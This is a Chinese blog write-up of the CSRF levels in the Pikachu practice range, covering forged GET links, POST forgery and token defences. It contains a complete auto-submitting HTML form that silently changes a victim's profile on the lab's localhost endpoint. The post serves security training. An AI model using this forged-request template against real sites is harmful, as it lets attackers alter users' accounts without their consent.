zoukankan      html  css  js  c++  java
  • pikachu靶场-CSRF

    一、概述

    CSRF(跨站请求伪造)概述
    Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
    这里列举一个场景解释一下,希望能够帮助你理解。

    场景需求:
    小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
    先看下大白是如何修改自己的密码的:
    登录---修改会员信息,提交请求---修改成功。
    所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
    但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
    于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
    【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
    于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
    为啥小黑的操作能够实现呢。有如下几个关键点:
    1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
    ---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
    2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
    ---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
    ---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
    当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
    ---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
    因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
    --对敏感信息的操作增加安全的token;
    --对敏感信息的操作增加安全的验证码;
    --对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

    二、CSRF(get)

     ①注意提示,此处的用户名密码已经更改了。

     ②我们随机登录一个,修改个人信息,点击提交,并通过burpsuite抓包。

    ③从数据包请求来看,并没有token限制,我们修改url即可。

    将其原有地址更改为China

     

    三、CSRF(post)

    ①这关不是get了,而是POST传输,我们通过抓包发现是以表单请求来提交的。

     

     ①利用方式的话,做一个提交表单的html文件

    post.html

    <html>
    <head>
    <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
        <input id="sex" type="text" name="sex" value="girl" />
        <input id="phonenum" type="text" name="phonenum" value="12345678922" />
        <input id="add" type="text" name="add" value="hacker" />
        <input id="email" type="text" name="email" value="lucy@pikachu.com" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
    </body>
    </html>
    

      

    ②修改成功

    四、CSRF Token

     这一关我们在敏感请求上加入了Token,从而不易进行伪造。

    在每次请求中,都会加入一个随机码,后台每次都会对提交请求中的Token值进行优先比较。

    观察以下数据包吧。

    token防止跨站请求伪造的原理:在浏览器访问网站A时,网站A设置cookie会增加随机值token,这个值是随机的。返回给浏览器时,cookie会储存在浏览器,同时会把token传给表单里面的隐藏字段。所以当浏览器用自己的表单时会自带token,网站A取到这个值和cookie里的token一致就通过。而网站B里面的表单没有这个值,所以不能通过,这样就阻止了恶意攻击。非表单也是这样的原理。

  • 相关阅读:
    导包路径
    django导入环境变量 Please specify Django project root directory
    替换django的user模型,mysql迁移表报错 django.db.migrations.exceptions.InconsistentMigrationHistory: Migration admin.0001_initial is applied before its dependen cy user.0001_initial on database 'default'.
    解决Chrome调试(debugger)
    check the manual that corresponds to your MySQL server version for the right syntax to use near 'order) values ('徐小波','XuXiaoB','男','1',' at line 1")
    MySQL命令(其三)
    MySQL操作命令(其二)
    MySQL命令(其一)
    [POJ2559]Largest Rectangle in a Histogram (栈)
    [HDU4864]Task (贪心)
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12629143.html
Copyright © 2011-2022 走看看